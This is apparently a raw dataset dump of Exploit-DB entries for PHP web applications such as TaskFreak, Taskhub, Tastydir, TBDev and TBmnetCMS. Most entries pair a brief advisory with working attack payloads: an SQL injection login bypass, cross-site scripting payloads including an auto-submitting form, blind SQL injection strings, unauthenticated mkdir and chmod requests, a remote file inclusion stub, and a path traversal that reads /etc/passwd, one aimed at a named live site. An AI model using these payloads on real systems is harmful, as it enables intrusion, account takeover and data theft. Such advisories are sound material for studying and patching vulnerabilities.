deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12452
Description: TaskFreak 0.6.2 - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-29
Author: Justin C. Klein Keane

Exploit:
CVE-2010-1583

Vendor notified and product update released.
Details of this report are also available at
http://www.madirish.net/?article=456


Description of Vulnerability:
- ------------------------------

The Tirzen Framework (http://www.tirzen.net/tzn/) is a supporting API
developed by Tirzen (http://www.tirzen.com), an intranet and internet
solutions provider. The Tirzen Framework contains a SQL injection
vulnerability (http://www.owasp.org/index.php/SQL_Injection). This
vulnerability could allow an attacker to arbitrarily manipulate SQL strings
constructed using the library. This vulnerability manifests itself most
notably in the Task Freak (http://www.taskfreak.com/) open source task
management software. The vulnerability can be exploited to bypass
authentication and gain administrative access to the Task Freak system.


Systems affected:
- ------------------

Task Freak Multi User / mySQL v0.6.2 with Tirzen Framework 1.5 was tested
and shown to be vulnerable.


Impact
- -------

Attackers could manipulate database query strings resulting in information
disclosure, data destruction, authentication bypass, etc.



Technical discussion and proof of concept:
- -------------------------------------------

Tirzen Framework class TznDbConnection in the function loadByKey()
(tzn_mysql.php line 605) manifests a SQL injection vulnerability because it
fails to sanitize user supplied input used to compose SQL statements.


Proof of concept: any user can log into TaskFreak as the administrator
simply by using the username "1' or 1='1"


Vendor response:
- ----------------

Upgrade to the latest version of TaskFreak.



- --
Justin C. Klein Keane

http://www.MadIrish.net
Exploit-DB #29599
Description: TaskFreak! 0.5.5 - 'error.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-13
Author: Spiked

Exploit:
source: https://www.securityfocus.com/bid/22537/info

TaskFreak! is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

TaskFreak! 0.5.5 multiuser edition is reportedly vulnerable; other versions may be affected as well. 

http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%27bl4ck%27%29%3C%2Fscript%3E
Exploit-DB #35336
Description: TaskFreak! 0.6.4 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-12
Author: LiquidWorm

Exploit:
source: https://www.securityfocus.com/bid/46350/info

TaskFreak! is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

TaskFreak! 0.6.4 is vulnerable; other versions may also be affected. 

<script type="text/javascript">function xss(){document.forms["zappa"].submit();}</script>  

<form name="zappa" action="http://taskfreak/index.php" method="POST" id="zappa">  

    <input type="hidden" name="sProject" value="0" />  

        <input type="hidden" name="id" value="" />  

        <input type="hidden" name="mode" value="save" />  

    <input type="hidden" name="sContext" value='%22%20onmouseover%3dprompt(/_did_you_smiled_today_?/)%20' />  

        <input type="hidden" name="sort" value='"><script>alert(1)</script>' />  

        <input type="hidden" name="dir" value='"><script>alert(2)</script>' />  

        <input type="hidden" name="show" value='"><script>alert(3)</script>' />  

</form>  

<a href="javascript: xss();" style="text-decoration:none">  

<b><font color="red"><center><h3>Exploit!<h3></center></font></b></a>
Exploit-DB #35337
Description: TaskFreak! 0.6.4 - 'print_list.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-12
Author: LiquidWorm

Exploit:
source: https://www.securityfocus.com/bid/46350/info
 
TaskFreak! is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
TaskFreak! 0.6.4 is vulnerable; other versions may also be affected. 

http://taskfreak/print_list.php?dir=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E  

http://taskfreak/print_list.php?show=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E
Exploit-DB #35338
Description: TaskFreak! 0.6.4 - 'rss.php' HTTP Referer Header Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-02-12
Author: LiquidWorm

Exploit:
source: https://www.securityfocus.com/bid/46350/info
  
TaskFreak! is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
  
TaskFreak! 0.6.4 is vulnerable; other versions may also be affected. 

GET /taskfreak/rss.php HTTP/1.1  

Referer: ">Waddup!  

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)  

Host: localhost  

Connection: Keep-alive  

Accept-Encoding: gzip,deflate  

Accept: */*
Exploit-DB #16158
Description: TaskFreak! 0.6.4 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-12
Author: LiquidWorm

Exploit:
################################################################

TaskFreak! v0.6.4 Multiple Cross-Site Scripting Vulnerabilities


Vendor: Stan Ozier
Product web page: http://www.taskfreak.com
Affected version: 0.6.4 (multi-user)

Summary: TaskFreak! Original is a simple but efficient web based
task manager written in PHP.

Desc: TaskFreak! suffers from multiple XSS vulnerabilities when parsing
input to multiple parameters in different scripts. The vulnerable POST
parameters are: 'sContext', 'sort', 'dir' and 'show' thru index.php. Also
the GET parameters 'dir' and 'show' thru 'print_list.php' are vulnerable.
Header variable 'referer' is vulnerable thru rss.php script. Attackers
can exploit these weaknesses to execute arbitrary HTML and script code in
a user's browser session.

Tested on: MS Windows XP Pro SP3-EN, XAMPP (latest)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2011-4990
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4990


27.01.2011

################################################################


<script type="text/javascript">function xss(){document.forms["zappa"].submit();}</script>
<form name="zappa" action="http://taskfreak/index.php" method="POST" id="zappa">
	<input type="hidden" name="sProject" value="0" />
        <input type="hidden" name="id" value="" />
        <input type="hidden" name="mode" value="save" />
	<input type="hidden" name="sContext" value='%22%20onmouseover%3dprompt(/_did_you_smiled_today_?/)%20' />
        <input type="hidden" name="sort" value='"><script>alert(1)</script>' />
    	<input type="hidden" name="dir" value='"><script>alert(2)</script>' />
        <input type="hidden" name="show" value='"><script>alert(3)</script>' />
</form>
<a href="javascript: xss();" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit!<h3></center></font></b></a>

---

http://taskfreak/print_list.php?dir=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E
http://taskfreak/print_list.php?show=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E

---

GET /taskfreak/rss.php HTTP/1.1
Referer: ">Waddup!
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*
Exploit-DB #51810
Description: taskhub 2.8.7 - SQL Injection
Type: webapps
Platform: php
Date: 2024-02-26
Author: CraCkEr

Exploit:
# Exploit Title: taskhub 2.8.7 - SQL Injection
# Exploit Author: CraCkEr
# Date: 05/09/2023
# Vendor: Infinitie Technologies
# Vendor Homepage: https://www.infinitietech.com/
# Software Link: https://codecanyon.net/item/taskhub-project-management-finance-crm-tool/25685874
# Demo: https://taskhub.company/auth
# Tested on: Windows 10 Pro
# Impact: Database Access
# CVE: CVE-2023-4987
# CWE: CWE-89 - CWE-74 - CWE-707


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.


Path: /home/get_tasks_list

GET parameter 'project' is vulnerable to SQL Injection
GET parameter 'status' is vulnerable to SQL Injection
GET parameter 'user_id' is vulnerable to SQL Injection
GET parameter 'sort' is vulnerable to SQL Injection
GET parameter 'search' is vulnerable to SQL Injection


https://taskhub.company/home/get_tasks_list?project=[SQLi]&status=[SQLi]&from=&to=&workspace_id=1&user_id=[SQLi]&is_admin=&limit=10&sort=[SQLi]&order=&offset=0&search=[SQLi]


---
Parameter: project (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: project='XOR(SELECT(0)FROM(SELECT(SLEEP(8)))a)XOR'Z&status=&from=&to=&workspace_id=1&user_id=23&is_admin=&limit=10&sort=id&order=desc&offset=0&search=

Parameter: status (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: project=&status='XOR(SELECT(0)FROM(SELECT(SLEEP(8)))a)XOR'Z&from=&to=&workspace_id=1&user_id=23&is_admin=&limit=10&sort=id&order=desc&offset=0&search=

Parameter: user_id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: project=&status=&from=&to=&workspace_id=1&user_id=(SELECT(0)FROM(SELECT(SLEEP(8)))a)&is_admin=&limit=10&sort=id&order=desc&offset=0&search=

Parameter: sort (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: project=&status=&from=&to=&workspace_id=1&user_id=23&is_admin=&limit=10&sort=(SELECT(0)FROM(SELECT(SLEEP(6)))a)&order=desc&offset=0&search=

Parameter: search (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: project=&status=&from=&to=&workspace_id=1&user_id=23&is_admin=&limit=10&sort=id&order=desc&offset=0&search=') AND (SELECT(0)FROM(SELECT(SLEEP(7)))a)-- wXyW
---


[-] Done
Exploit-DB #51692
Description: Taskhub CRM Tool 2.8.6 - SQL Injection
Type: webapps
Platform: php
Date: 2023-08-21
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Taskhub CRM Tool 2.8.6 - SQL Injection
# Date: 2023-08-12
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor:
https://codecanyon.net/item/taskhub-project-management-finance-crm-tool/25685874
# Tested on: Kali Linux & MacOS
# CVE: N/A

### Request ###
GET /projects?filter=notstarted HTTP/1.1
Host: localhost
Cookie: csrf_cookie_name=a3e6a7d379a3e5f160d72c182ff8a8c8;
ci_session=tgu03eoatvsonh7v986g1vj57b8sufh9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Gecko/20100101 Firefox/116.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
### Parameter & Payloads ###
Parameter: filter (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: filter=notstarted' AND 2978=2978 AND 'vMQO'='vMQO
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (EXTRACTVALUE)
Payload: filter=notstarted' AND
EXTRACTVALUE(5313,CONCAT(0x5c,0x716a707a71,(SELECT
(ELT(5313=5313,1))),0x71787a6b71)) AND 'ronQ'='ronQ
Exploit-DB #15269
Description: Tastydir 1.2 (1216) - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-10-17
Author: R

Exploit:
# Exploit Title: Tastydir <= 1216 folder creation vuln
# Date: Oct 17 2010
# Author: R
# Software Link: http://codecanyon.net/item/tastydir-an-ajax-file-manager-and-dir-listing/117167
# Version: 1216
# Tested on: Ubuntu 10.10
# Information:

Tastydir is a cross-platform PHP file management system 
which allows you to not only replace your traditional FTP 
client but also allow your users to view directories in 
a much more aesthetically pleasing way.


# Vulnerability (Folder Creation): 

Tastydir has the option to remotely create folders on your
server, but it doesn't check if the user is logged in or
not so an attacker can easily create folders from the
server and access.

# Exploitation:

http://localhost/_tastydir/do.php?mkdir=/var/www/test


# Vulnerability (File Listing):

Tastydir version 1216 and below present a file listing
vulnerability, an attacker can list all the files from
a folder, and can see the permissions for that file and
it's size.

# Exploitation:

http://localhost/_tastydir/do.php?d=/var/www/


# Vulnerability (Cookie Forgery):

When a user logs, a cookie named tastydir_auth is created,
the data section contains the twice hashed sha1 password
of the administrator.

# Exploitation:

An attacker given certain conditions ( by disclosing the
hashed password from _tastydir/settings.php ) can forge
a cookie to imitate an authentic log in, without having
to crack the password, by hashing the hashed password
using the sha1 algorithm and inserting it into the cookie.

# Cookie:

Name: tastydir_auth
Content: [2x hashed password sha1]


# Vulnerability (chmod):

Tastydir has the option to remotely chmod files from your
server, but it doesn't check if the user is logged in or
not so an attacker can easily chmod the files from the
server.

# Exploitation:

http://localhost/_tastydir/do.php?chmod=/var/www/index.php&to=000
Exploit-DB #34809
Description: Tausch Ticket Script 3 - 'suchauftraege_user.php?userid' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-07
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43710/info

Tausch Ticket Script is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Tausch Ticket Script 3 is vulnerable; other versions may also be affected.

http://www.example.com/suchauftraege_user.php?userid=[SQL]
Exploit-DB #34810
Description: Tausch Ticket Script 3 - 'vote.php?descr' SQL Injection
Type: webapps
Platform: php
Date: 2009-07-07
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43710/info
 
Tausch Ticket Script is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Tausch Ticket Script 3 is vulnerable; other versions may also be affected.

http://www.example.com/vote.php?descr=[SQL]
Exploit-DB #43543
Description: Taxi Booking Script 1.0 - Cross-site Scripting
Type: webapps
Platform: php
Date: 2018-01-12
Author: Tauco

Exploit:
# # # # #
# Exploit Title: Taxi Booking Script v1.0 - Cross-site Scripting (XSS)

# Date: 11.01.2018
# Vendor Homepage: https://www.phpjabbers.com/taxi-booking-script/
# Software Link: 
# Demo: http://demo.phpjabbers.com/[PII_REDACTED]_792/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU01
# Version: 1.0
# Category: Webapps
# Tested on: Windows 10
# CVE: N/A
# # # # #
# Exploit Author: Tauco

Description:
===========================================================================
The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash, or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data, like cookies or other session information, to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. 

POC:

Exploit code(s):
===============

Persistent XSS:
1. user_update=1&id=2&role_id=1&email=admin%40a.com&[CREDENTIAL_REDACTED]=<script>window.location='https://www.google.com/search?q=xss'</script>&phone=123131&status=T

2. booking_update=1&id=3&tab_id=tabs-1&uuid=<script>window.location='https://www.google.com/search?q=xss'</script>&booking_date=11-01-2018 13:06&pickup_address=<script>window.location='https://www.google.com/search?q=xss'</script>&return_address=Santa Fe 1236, Rosario, Santa Fe Province, Argentina&distance=123&fleet_id=1&passengers=1&luggage=1&extra_id[]=1&sub_total=374.40&tax=37.44&total=411.84&deposit=41.18&payment_method=bank&cc_type=&cc_num=&cc_exp_month=&cc_exp_year=&cc_code=&status=cancelled&client_id=5&c_fname=asd&c_lname=asd&c_phone=12&c_email=asda&c_company=dasdasd&c_address=asda&c_city=asdasd&c_state=asdasda&c_zip=1212&c_country=&c_notes=asdad&c_airline_company=adsad&c_flight_number=adsasd&c_flight_time=13:05&c_terminal=1


Severity Level:
=========================================================
High


Description:
==========================================================
 
 
Request Method(s):              [+]  POST & GET
 
 
Vulnerable Product:             [+]  Taxi Booking Script v1.0
 
 
Vulnerable Parameter(s):        [+]  name, uuid, pickup_address
Exploit-DB #8942
Description: tbdev 01-01-2008 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-06-12
Author: intern0t

Exploit:
TBDev - Cross Site Scripting and HTML Injection Vulnerabilities

Version Affected: 01-01-2008 (16th January 2008) (newest)

Info: TBDEV.NET is a project to further enhance, update and develop a
software (php peer-to-peer) from the original torrentbits/bytemonsoon
source code.

Credits: InterN0T

External Links:
http://www.tbdev.net


-:: The Advisory ::-

Vulnerable Function / ID Calls:
returnto

Cross Site Scripting: (Sysops / Mods Only!)
http://[HOST]/tbdev/tbdev-01-01-08/makepoll.php?returnto=><script>alert(0)</script>
http://[HOST]/tbdev/tbdev-01-01-08/polls.php?action=delete&pollid=1&returnto=><script>alert(0)</script><br

Cross Site Script Redirection: (Sysops / Mods Only!)
http://[HOST]/tbdev/tbdev-01-01-08/news.php?action=delete&newsid=1&returnto=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&sure=1

Cross Site Script Redirection: (Anyone, the enduser will need to log in
though)
http://[HOST]/tbdev/tbdev-01-01-08/login.php?returnto=http://[HOST]
http://[HOST]/tbdev/tbdev-01-01-08/login.php?returnto=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

HTML Injection:
1) http://[HOST]/tbdev/tbdev-01-01-08/my.php
-- Info field: &lt;/textarea&gt;<script>alert(0)</script> << is reflected
locally only!

2) http://[HOST]/tbdev/tbdev-01-01-08/my.php
-- Avatar field: javascript:alert(0)

2b) Affected Sites by HTML Injection:
http://[HOST]/tbdev/tbdev-01-01-08/userdetails.php?id=USERID

Internet Explorer 6 and perhaps 7 should be triggered by this.
Please see: http://ha.ckers.org/xss.html for more information.
Browser Tested: Internet Explorer 7 (FireFox 3 was tested for the other
vulnerabilities)

-:: Solution ::-
Secure redirection calls with referer headers (just an example) and
filter bad characters.

Conclusion:
This system was fun to find bad code in, it sure had a nice diversity of
vulnerabilities.

Reference:
http://forum.intern0t.net/intern0t-advisories/1121-intern0t-tbdev-01-01-2008-multiple-vulnerabilities.html

Disclosure Information:
- Vulnerabilities found, researched and confirmed between 5th to 10th June.
- Advisory finished and published on InterN0T the 12th June.
- Vendor and Buqtraq (SecurityFocus) contacted the 12th June.


All of the best,
MaXe

# milw0rm.com [2009-06-12]
Exploit-DB #34607
Description: TBDev 2.0 - Remote File Inclusion / SQL Injection
Type: webapps
Platform: php
Date: 2010-09-02
Author: Inj3ct0r

Exploit:
source: https://www.securityfocus.com/bid/43004/info

TBDev is prone to multiple input-validation vulnerabilities, including a remote file-include issue and an SQL-injection issue.

A successful exploit may allow an attacker to execute malicious code within the context of the webserver process, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

TBDev 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/admincp.php?rootpath=(rfi)
Exploit-DB #33294
Description: TBmnetCMS 1.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-10-19
Author: drunken danish rednecks

Exploit:
source: https://www.securityfocus.com/bid/36733/info

TBmnetCMS is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects TBmnetCMS 1.0; other versions may be vulnerable as well.

http://www.example.com/tbmnet.php?content=redneck%22%27%3E%3Cscript%3Ealert(/redneck/)%3C/script%3E
Exploit-DB #6973
Description: TBmnetCMS 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-11-04
Author: d3v1l

Exploit:
[~]-------------------------------------------------------------------------------------------------------------
[~] TBmnetCMS v1.0 (index.php?content) Local File Inclusion Vulnerability
[~]
[~] http://www.tbmnet.de
[~]  
[~] 
[~] ------------------------------------------------------------------------------------------------------------
[~] Bug founded by d3v1l [Avram Marius]
[~]
[~] Date: 3.11.2008
[~]
[~]
[~] d3v1l@spoofer.com http://security-sh3ll.com
[~]
[~] ------------------------------------------------------------------------------------------------------------
[~] Greetz tO ALL:-
[~]
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~]
[~] milw0rm staff
[~]-------------------------------------------------------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/index.php?content=../../../../../../../../../../../../../../etc/passwd%00
[~]  
[~] Ex :-

[~] http://www.valtellinux.it/meeting/index.php?content=../../../../../../../../../../../../../../etc/passwd%00
[~]----------------------------------------------------------------------------------------------------------------------
[~] NEED:- magic_quotes=OFF
[~]
[~] NEED:- disable_functions=ini_set 
[~]----------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-11-04]